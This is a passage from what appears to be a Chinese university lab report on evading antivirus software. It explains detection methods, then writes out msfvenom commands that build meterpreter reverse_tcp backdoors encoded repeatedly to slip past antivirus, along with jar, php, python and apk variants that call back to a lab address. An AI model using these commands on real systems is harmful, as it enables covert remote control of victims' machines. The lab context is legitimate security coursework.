这里写目录标题
1.实验内容
总结一下本周学习内容,不要复制粘
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
回答问题
1.杀软是如何检测出恶意代码的?
通过特征代码法、校验和法、行为监测法、软件模拟法、启发式扫描等等检测方法发现病毒并将其隔离。
以下简单概括介绍以下
(1)检测特征码
根据代码自己的结构特征,杀毒公司建立一套特征库,依靠检索程序代码是否和库中特征码是否吻合,来判断某段代码是否属于病毒。类似于入侵检测系统的工作原理。
(2)启发式恶意软件检测
如果该程序的特征和行为与病毒程序类似,其匹配程度达到一定值就可以认为该程序是病毒程序。
(3)基于行为检测
与启发式检测类似,只是单纯依靠监测程序行为来作为标准。通过监视恶意代码运行过程,如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能,如出现恶意行为,则属于恶意代码。侧重于分析恶意软件的行为作为判断依据。
(2)免杀是做什么?
免杀就是和杀毒软件的对抗行为,能够实现在杀毒软件开启的同时进行入侵。
(3)免杀的基本方法有哪些?
主要方法有,特征代码法、行为监测法、启发式扫描。下面的过程中会依次介绍各种方法的实操过程
2.实验过程
2.1正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
2.1.1 msf编码器
利用msfvenom生成木马程序和利用控制台进行监听,这个过程应该不陌生了,毕竟实验二就是这个内容,只不过这次我们需要提高一点要求,那就是需要尝试免杀。
2.1.1.1通过多次编码实现免杀。
msf可以通过-e来指定编码器,用-i指定编码次数。如下是通过不同编码次数生成恶意文件的命令:
# 编码1次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' LHOST=192.168.70.129 LPORT=2422 -f exe > encode1.exe
# 编码10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.70.129 LPORT=2422 -f exe > encode10.exe
# 编码30次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 30 -b '\x00' LHOST=192.168.70.129 LPORT=2422 -f exe > encode30.exe
注意,以上命令使用的荷载(payload)均为windows/meterpreter/reverse_tcp,指明入侵windows平台,利用meterpreter、采用反向连接方式。x86/shikata_ga_nai是一个常见的编码器,除此之外还有其他编码器,后续过程中会尝试使用。
如下图是生成经过三十次编码的文件的过程:
图1 生成经过编码的文件
2.1.1.2 不同输出格式的文件
paload的第一项是操作系统/运行方式,是可以修改的。可以尝试改变不同的载荷(payload)来修改文件格式,这对于提升免杀效果具有很大的作用。尤其是python类型文件,或许是因为是解释性编译语言,不容易被杀毒软件查杀。如下是典型的改变输出格式的方式:
msfvenom -p java/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.70.129 LPORT=2422 x> java_20202422.jar #输出jar文件
msfvenom -p php/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.70.129 LPORT=2422 x> php_20202422.php #输出php文件
msfvenom -p python/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.70.129 LPORT=2422 x> python_20202422.py #输出python文件
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.70.129 LPORT=2422 x> apk_20202422.apk #输出apk文件&#x